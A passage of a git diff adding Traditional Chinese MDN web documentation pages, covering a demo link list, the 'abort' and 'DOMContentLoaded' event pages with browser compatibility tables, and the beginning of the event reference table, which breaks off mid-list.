+ <li>Sechelt fly-through (<a href="https://github.com/mozvr/sechelt">source code</a>)</li>
+</ul>
+
+<h2 id="CSS">CSS</h2>
+
+<ul>
+ <li><a class="external external-icon" href="https://codepen.io/SoftwareRVG/full/OXkOWj">CSS floating logo " mozilla "  developed by Rober Villar , from Software RVG. </a>(debug mode)</li>
+ <li><a class="external external-icon" href="http://codepen.io/SoftwareRVG/pen/OXkOWj/">CSS floating logo " mozilla "  developed by Rober Villar , from Software RVG. </a>(source code)</li>
+ <li><a href="http://felixniklas.com/paperfold/">Paperfold</a></li>
+ <li><a href="http://ondras.github.io/blockout/">CSS Blockout</a></li>
+ <li><a href="http://ondras.zarovi.cz/demos/rubik/">Rubik's cube</a></li>
+ <li><a href="http://ondras.zarovi.cz/demos/nojs/">Pure CSS Slides</a></li>
+ <li>Planetarium (<a href="https://github.com/littleworkshop/planetarium">source code</a>)</li>
+</ul>
+
+<h3 id="轉換_(_Transformations_)">轉換 ( Transformations )</h3>
+
+<ul>
+ <li><a href="http://impress.github.io/impress.js">Impress.js</a> (<a href="https://github.com/impress/impress.js">source code</a>)</li>
+</ul>
+
+<h2 id="遊戲">遊戲</h2>
+
+<ul>
+ <li>IoQuake3 (<a href="https://github.com/klaussilveira/ioquake3.js">source code</a>)</li>
+ <li><a href="http://collinhover.github.io/kaiopua/">Kai 'Opua</a> (<a href="https://github.com/collinhover/kaiopua">source code</a>)</li>
+</ul>
+
+<h2 id="HTML">HTML</h2>
+
+<ul>
+ <li> <a href="http://zenphoton.com">Zen Photon Garden </a>(<a href="https://github.com/scanlime/zenphoton">source code</a>)</li>
+</ul>
+
+<h2 id="Web_APIs">Web APIs</h2>
+
+<ul>
+</ul>
+
+<h3 id="提示工具的_API">提示工具的 API</h3>
+
+<ul>
+ <li><a href="http://elfoxero.github.io/html5notifications/">HTML5 Notifications</a> (<a href="https://github.com/elfoxero/html5notifications">source code</a>)</li>
+</ul>
+
+<ul>
+</ul>
+
+<h3 id="網路_API">網路 API</h3>
+
+<ul>
+ <li><a href="http://ondras.github.io/fireworks-webgl/">Web Audio Fireworks</a></li>
+ <li><a href="http://ondras.github.io/oscope/">oscope.js - JavaScript oscilloscope</a></li>
+ <li><a href="http://nipe-systems.de/webapps/html5-web-audio/">HTML5 Web Audio Showcase</a> (<a href="https://github.com/NIPE-SYSTEMS/html5-web-audio-showcase">source code</a>)</li>
+ <li><a href="http://wayou.github.io/HTML5_Audio_Visualizer/">HTML5 Audio Visualizer</a> (<a href="https://github.com/Wayou/HTML5_Audio_Visualizer">source code</a>)</li>
+ <li><a href="http://carlosrafaelgn.com.br/GraphicalFilterEditor/">Graphical Filter Editor and Visualizer</a> (<a href="https://github.com/carlosrafaelgn/GraphicalFilterEditor">source code</a>)</li>
+</ul>
+
+<h3 id="檔案的_API">檔案的 API</h3>
+
+<ul>
+ <li><a href="http://palerdot.github.io/slide-my-text/">Slide My Text - presentation from plain text files</a></li>
+</ul>
+
+<h3 id="Unclassified" name="Unclassified">Web Workers</h3>
+
+<ul>
+ <li><a href="http://ondras.github.io/fractal/">Web Worker Fractals</a></li>
+ <li><a href="http://ondras.github.io/photo/">圖片編輯器</a></li>
+ <li><a href="http://ondras.github.io/coral/">Coral generator</a></li>
+ <li><a class="external" href="http://nerget.com/rayjs-mt/rayjs.html" title="http://nerget.com/rayjs-mt/rayjs.html">Raytracer</a></li>
+ <li><a href="http://palerdot.github.io/hotcold/">HotCold Touch Typing</a></li>
+</ul>
diff --git a/files/zh-tw/web/events/abort/index.html b/files/zh-tw/web/events/abort/index.html
new file mode 100644
index 0000000000..a2d9d86059
--- /dev/null
+++ b/files/zh-tw/web/events/abort/index.html
@@ -0,0 +1,67 @@
+---
+title: abort
+slug: Web/Events/abort
+translation_of: Web/API/HTMLMediaElement/abort_event
+---
+<p>當資源載入被拒絕時將會觸發<strong><code>abort</code></strong>事件。</p>
+
+<h2 id="一般資訊">一般資訊</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">規範</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-abort">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">介面</dt>
+ <dd style="margin: 0 0 0 120px;">若由使用者介面產生，為UIEvent，否則為Event。</dd>
+ <dt style="float: left; text-align: right; width: 120px;">是否向上(冒泡)</dt>
+ <dd style="margin: 0 0 0 120px;">否</dd>
+ <dt style="float: left; text-align: right; width: 120px;">是否為可取消</dt>
+ <dd style="margin: 0 0 0 120px;">否</dd>
+ <dt style="float: left; text-align: right; width: 120px;">目標對象</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">預設行為</dt>
+ <dd style="margin: 0 0 0 120px;">無</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">屬性</th>
+   <th scope="col">型態</th>
+   <th scope="col">描述</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>事件的目標對象 (DOM樹中最頂層的對象)。</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>事件的型態。</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>事件是否向上冒泡。</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>事件是否能夠取消。</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (該文檔(Document)的<code>window</code>)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/zh-tw/web/events/domcontentloaded/index.html b/files/zh-tw/web/events/domcontentloaded/index.html
new file mode 100644
index 0000000000..0ec78423ec
--- /dev/null
+++ b/files/zh-tw/web/events/domcontentloaded/index.html
@@ -0,0 +1,133 @@
+---
+title: DOMContentLoaded
+slug: Web/Events/DOMContentLoaded
+translation_of: Web/API/Window/DOMContentLoaded_event
+---
+<p><code>DOMContentLoaded事件是當document被完整的讀取跟解析後就會被觸發</code>,不會等待 stylesheets, 圖片和subframes完成讀取  (<code><a href="/en-US/docs/Mozilla_event_reference/load">load</a>事件可以用來作為判斷頁面已經完整讀取的方法</code>).</p>
+
+<div class="note">
+<p><strong>Note:</strong> <a class="external" href="http://molily.de/weblog/domcontentloaded" title="http://molily.de/weblog/domcontentloaded">Stylesheet loads block script execution</a>, 如果 <code>&lt;script&gt;</code> 被放在 <code>&lt;link rel="stylesheet" ...&gt;後面的話</code>, 須等到前面的stylesheet載入並完成解析，此時 <code>DOMContentLoaded才會被觸發。</code></p>
+</div>
+
+<h2 id="Speeding_up">Speeding up</h2>
+
+<p>If you want DOM to get parsed as fast as possible after the user had requested the page, some things you could do is turn your <a href="/en-US/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests">JavaScript asynchronous</a> and to <a href="https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery">optimize loading of stylesheets</a> which if used as usual, slow down page load due to being loaded in parallel, "stealing" traffic from the main html document.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-end.html#the-end">HTML5</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">Yes (although specified as a simple event that isn't cancelable)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Document</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None.</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>0.2</td>
+   <td>{{ CompatGeckoDesktop("1") }}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><span style="font-size: 14px; line-height: 18px;">Bubbling for this event is supported by at least Gecko 1.9.2, Chrome 6, and Safari 4.</span></p>
+
+<h3 id="Cross-browser_fallback">Cross-browser fallback</h3>
+
+<p>Internet Explorer 8 supports the &lt;code&gt;readystatechange&lt;/code&gt; event, which can be used to detect that the DOM is ready. In earlier version of Internet Explorer, this state can be detected by regularily trying to execute &lt;code&gt;document.documentElement.doScroll("left");&lt;/code&gt;, as this snippet will throw an error until the DOM is ready.</p>
+
+<p>General-purpose JS libraries such as jQuery offer cross-browser methods to detect that the DOM is ready. There are also standalone scripts that offer this feature : <a href="https://github.com/dperini/ContentLoaded/blob/master/src/contentloaded.js" title="https://github.com/dperini/ContentLoaded/blob/master/src/contentloaded.js">contentloaded.js</a> (supports only one listener) and <a href="https://github.com/addyosmani/jquery.parts/blob/master/jquery.documentReady.js" title="https://github.com/addyosmani/jquery.parts/blob/master/jquery.documentReady.js">jquery.documentReady.js</a> (doesn't depend on jQuery, despite its name).</p>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("DOMContentLoaded")}}</li>
+ <li>{{event("readystatechange")}}</li>
+ <li>{{event("load")}}</li>
+ <li>{{event("beforeunload")}}</li>
+ <li>{{event("unload")}}</li>
+</ul>
diff --git a/files/zh-tw/web/events/index.html b/files/zh-tw/web/events/index.html
new file mode 100644
index 0000000000..569afb05e4
--- /dev/null
+++ b/files/zh-tw/web/events/index.html
@@ -0,0 +1,1928 @@
+---
+title: Event reference
+slug: Web/Events
+tags:
+  - NeedsTag
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/Events
+---
+<p>事件為一些有趣事情，發生後會被傳出以通知code。每個事件被表示為一個根據{{domxref("Event")}}所定義的物件，且可能會有額外自訂欄位與(或)函式來描述發生了什麼事。事件可以表示從使用者互動到自動通知等渲染model所有的事情。</p>
+
+<p><span class="seoSummary">Events are sent to notify code of interesting things that have taken place. Each event is represented by an object which is based on the {{domxref("Event")}} interface, and may have additional custom fields and/or functions used to get additional information about what happened.</span> Events can represent everything from basic user interactions to automated notifications of things happening in the rendering model.</p>
+
+<p>This article offers a list of events that can be sent; some are standard events defined in official specifications, while others are events used internally by specific browsers; for example, Mozilla-specific events are listed so that <a href="/zh-TW/docs/Mozilla/Add-ons">add-ons</a> can use them to interact with the browser.no</p>
+
+<h2 id="標準事件">標準事件</h2>
+
+<p>以下事件是由官方的 Web 標準規範中所定義，且應適用於所有的瀏覽器。下面的清單將列出事件和其所有傳送給事件的物件的 interface （所以你可以看到每個事件需要提供哪些資料）以及事件的定義規範。</p>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">事件名稱</th>
+   <th class="header" style="width: 90px;">事件類型</th>
+   <th class="header" style="width: 100px;">規範</th>
+   <th class="header">觸發時機</th>
+  </tr>
+  <tr>
+   <td>{{event("abort")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-abort">DOM L3</a></td>
+   <td>The loading of a resource has been aborted.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/Web/Reference/Events/abort_(ProgressEvent)">abort</a></code></td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a> and <a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-abort">XMLHttpRequest</a></td>
+   <td>Progression has been terminated (not due to an error).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/Web/Reference/Events/abort_indexedDB">abort</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#database-interface">IndexedDB</a></td>
+   <td>A transaction has been aborted.</td>
+  </tr>
+  <tr>
+   <td>{{event("afterprint")}} {{gecko_minversion_inline("6")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/webappapis.html#printing">HTML5</a></td>
+   <td>The associated document has started printing or the print preview has been closed.</td>
+  </tr>
+  <tr>
+   <td>{{event("animationend")}}</td>
+   <td>{{domxref("AnimationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></td>
+   <td>A <a href="/zh-TW/docs/CSS/CSS_animations">CSS animation</a> has completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("animationiteration")}}</td>
+   <td>{{domxref("AnimationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></td>
+   <td>A <a href="/zh-TW/docs/CSS/CSS_animations">CSS animation</a> is repeated.</td>
+  </tr>
+  <tr>
+   <td>{{event("animationstart")}}</td>
+   <td>{{domxref("AnimationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></td>
+   <td>A <a href="/zh-TW/docs/CSS/CSS_animations">CSS animation</a> has started.</td>
+  </tr>
+  <tr>
+   <td>{{event("audioprocess")}}</td>
+   <td>{{domxref("AudioProcessingEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Audio API', '#AudioProcessingEvent', 'audioprocess')}}</td>
+   <td>The input buffer of a {{domxref("ScriptProcessorNode")}} is ready to be processed.</td>
+  </tr>
+  <tr>
+   <td>{{event("beforeprint")}} {{gecko_minversion_inline("6")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/webappapis.html#printing">HTML5</a></td>
+   <td>The associated document is about to be printed or previewed for printing.</td>
+  </tr>
+  <tr>
+   <td>{{event("beforeunload")}}</td>
+   <td>{{domxref("BeforeUnloadEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/browsers.html#unloading-documents">HTML5 </a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{event("beginEvent")}}</td>
+   <td>{{domxref("TimeEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>A <a href="/zh-TW/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element begins.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/Web/Reference/Events/blocked_indexedDB">blocked</a></code></td>
+   <td></td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>An open connection to a database is blocking a <code>versionchange</code> transaction on the same database.</td>
+  </tr>
+  <tr>
+   <td>{{event("blur")}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-blur">DOM L3</a></td>
+   <td>An element has lost focus (does not bubble).</td>
+  </tr>
+  <tr>
+   <td>{{event("cached")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>The resources listed in the manifest have been downloaded, and the application is now cached.</td>
+  </tr>
+  <tr>
+   <td>{{event("canplay")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplay">HTML5 media</a></td>
+   <td>The user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.</td>
+  </tr>
+  <tr>
+   <td>{{event("canplaythrough")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplaythrough">HTML5 media</a></td>
+   <td>The user agent can play the media, and estimates that enough data has been loaded to play the media up to its end without having to stop for further buffering of content.</td>
+  </tr>
+  <tr>
+   <td>{{event("change")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#event-input-change">HTML5</a></td>
+   <td>An element loses focus and its value changed since gaining focus.</td>
+  </tr>
+  <tr>
+   <td>{{event("chargingchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>The battery begins or stops charging.</td>
+  </tr>
+  <tr>
+   <td>{{event("chargingtimechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>The <code>chargingTime</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{event("checking")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>The user agent is checking for an update, or attempting to download the cache manifest for the first time.</td>
+  </tr>
+  <tr>
+   <td>{{event("click")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-click">DOM L3</a></td>
+   <td>A pointing device button has been pressed and released on an element.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/Web/Reference/Events/close_websocket">close</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A WebSocket connection has been closed.</td>
+  </tr>
+  <tr>
+   <td>{{event("compassneedscalibration")}}</td>
+   <td>{{domxref("SensorEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/orientation-event/#compassneedscalibration">Orientation</a></td>
+   <td>The compass used to obtain orientation data is in need of calibration.</td>
+  </tr>
+  <tr>
+   <td>{{event("compositionend")}}</td>
+   <td>{{domxref("CompositionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionend">DOM L3</a></td>
+   <td>The composition of a passage of text has been completed or canceled.</td>
+  </tr>
+  <tr>
+   <td>{{event("compositionstart")}}</td>
+   <td>{{domxref("CompositionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionstart">DOM L3</a></td>
+   <td>The composition of a passage of text is prepared (similar to keydown for a keyboard input, but works with other inputs such as speech recognition).</td>
+  </tr>
+  <tr>
+   <td>{{event("compositionupdate")}}</td>
+   <td>{{domxref("CompositionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionupdate">DOM L3</a></td>
+   <td>A character is added to a passage of text being composed.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/Web/Reference/Events/complete_indexedDB">complete</a></code></td>
+   <td></td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#transaction">IndexedDB</a></td>
+   <td>The transaction successfully completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("contextmenu")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/interactive-elements.html#context-menus">HTML5</a></td>
+   <td>The right button of the mouse is clicked (before the context menu is displayed).</td>
+  </tr>
+  <tr>
+   <td>{{event("copy")}}</td>
+   <td>{{domxref("ClipboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/clipboard-apis/#copy-event">Clipboard</a></td>
+   <td>The text selection has been added to the clipboard.</td>
+  </tr>
+  <tr>
+   <td>{{event("cut")}}</td>
+   <td>{{domxref("ClipboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/clipboard-apis/#cut-event">Clipboard</a></td>
+   <td>The text selection has been removed from the document and added to the clipboard.</td>
+  </tr>
+  <tr>
+   <td>{{event("dblclick")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-dblclick">DOM L3</a></td>
+   <td>A pointing device button is clicked twice on an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("devicehumidity")}}</td>
+   <td>{{domxref("SensorEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dvcs.w3.org/hg/dap/raw-file/tip/sensor-api/Overview.html#datatypes">Sensor</a></td>
+   <td>Fresh data is available from a humidity sensor.</td>
+  </tr>
+  <tr>
+   <td>{{event("devicelight")}}</td>
+   <td>{{domxref("SensorEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dvcs.w3.org/hg/dap/raw-file/tip/sensor-api/Overview.html#datatypes">Sensor</a></td>
+   <td>Fresh data is available from a light sensor.</td>
+  </tr>
+  <tr>
+   <td>{{event("devicemotion")}}</td>
+   <td>{{domxref("SensorEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/orientation-event/#devicemotion">Orientation</a></td>
+   <td>Fresh data is available from a motion sensor.</td>
+  </tr>
+  <tr>
+   <td>{{event("devicenoise")}}</td>
+   <td>{{domxref("SensorEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dvcs.w3.org/hg/dap/raw-file/tip/sensor-api/Overview.html#datatypes">Sensor</a></td>
+   <td>Fresh data is available from a noise sensor.</td>
+  </tr>
+  <tr>
+   <td>{{event("deviceorientation")}}</td>
+   <td>{{domxref("SensorEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/orientation-event/#deviceorientation">Orientation</a></td>
+   <td>Fresh data is available from an orientation sensor.</td>
+  </tr>
+  <tr>
+   <td>{{event("devicepressure")}}</td>
+   <td>{{domxref("SensorEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dvcs.w3.org/hg/dap/raw-file/tip/sensor-api/Overview.html#datatypes">Sensor</a></td>
+   <td>Fresh data is available from a pressure sensor.</td>
+  </tr>
+  <tr>
+   <td>{{event("deviceproximity")}}</td>
+   <td>{{domxref("SensorEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/proximity/Overview.html">Sensor</a></td>
+   <td>Fresh data is available from a proximity sensor (indicates an approximated distance between the device and a nearby object).</td>
+  </tr>
+  <tr>
+   <td>{{event("devicetemperature")}}</td>
+   <td>{{domxref("SensorEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dvcs.w3.org/hg/dap/raw-file/tip/sensor-api/Overview.html#datatypes">Sensor</a></td>
+   <td>Fresh data is available from a temperature sensor.</td>
+  </tr>
+  <tr>
+   <td>{{event("dischargingtimechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>The <code>dischargingTime</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td><code>DOMActivate</code> {{deprecated_inline}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMActivate">DOM L3</a></td>
+   <td>A button, link or state changing element is activated (use {{event("click")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/DOM/Mutation_events">DOMAttributeNameChanged</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationNameEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/2011/WD-DOM-Level-3-Events-20110531/#event-type-DOMAttributeNameChanged">DOM L3</a> Removed</td>
+   <td>The name of an attribute changed (use <a href="/zh-TW/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/DOM/Mutation_events">DOMAttrModified</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMAttrModified">DOM L3</a></td>
+   <td>The value of an attribute has been modified (use <a href="/zh-TW/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/DOM/Mutation_events">DOMCharacterDataModified</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMCharacterDataModified">DOM L3</a></td>
+   <td>A text or another <a href="/zh-TW/docs/DOM/CharacterData">CharacterData</a> has changed (use <a href="/zh-TW/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td>{{event("DOMContentLoaded")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-end.html#the-end">HTML5</a></td>
+   <td>The document has finished loading (but not its dependent resources).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/DOM/Mutation_events">DOMElementNameChanged</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationNameEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/2011/WD-DOM-Level-3-Events-20110531/#event-type-DOMElementNameChanged">DOM L3</a> Removed</td>
+   <td>The name of an element changed (use <a href="/zh-TW/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code>DOMFocusIn</code> {{deprecated_inline}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMFocusIn">DOM L3</a></td>
+   <td>An element has received focus (use {{event("focus")}} or {{event("focusin")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code>DOMFocusOut</code> {{deprecated_inline}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMFocusOut">DOM L3</a></td>
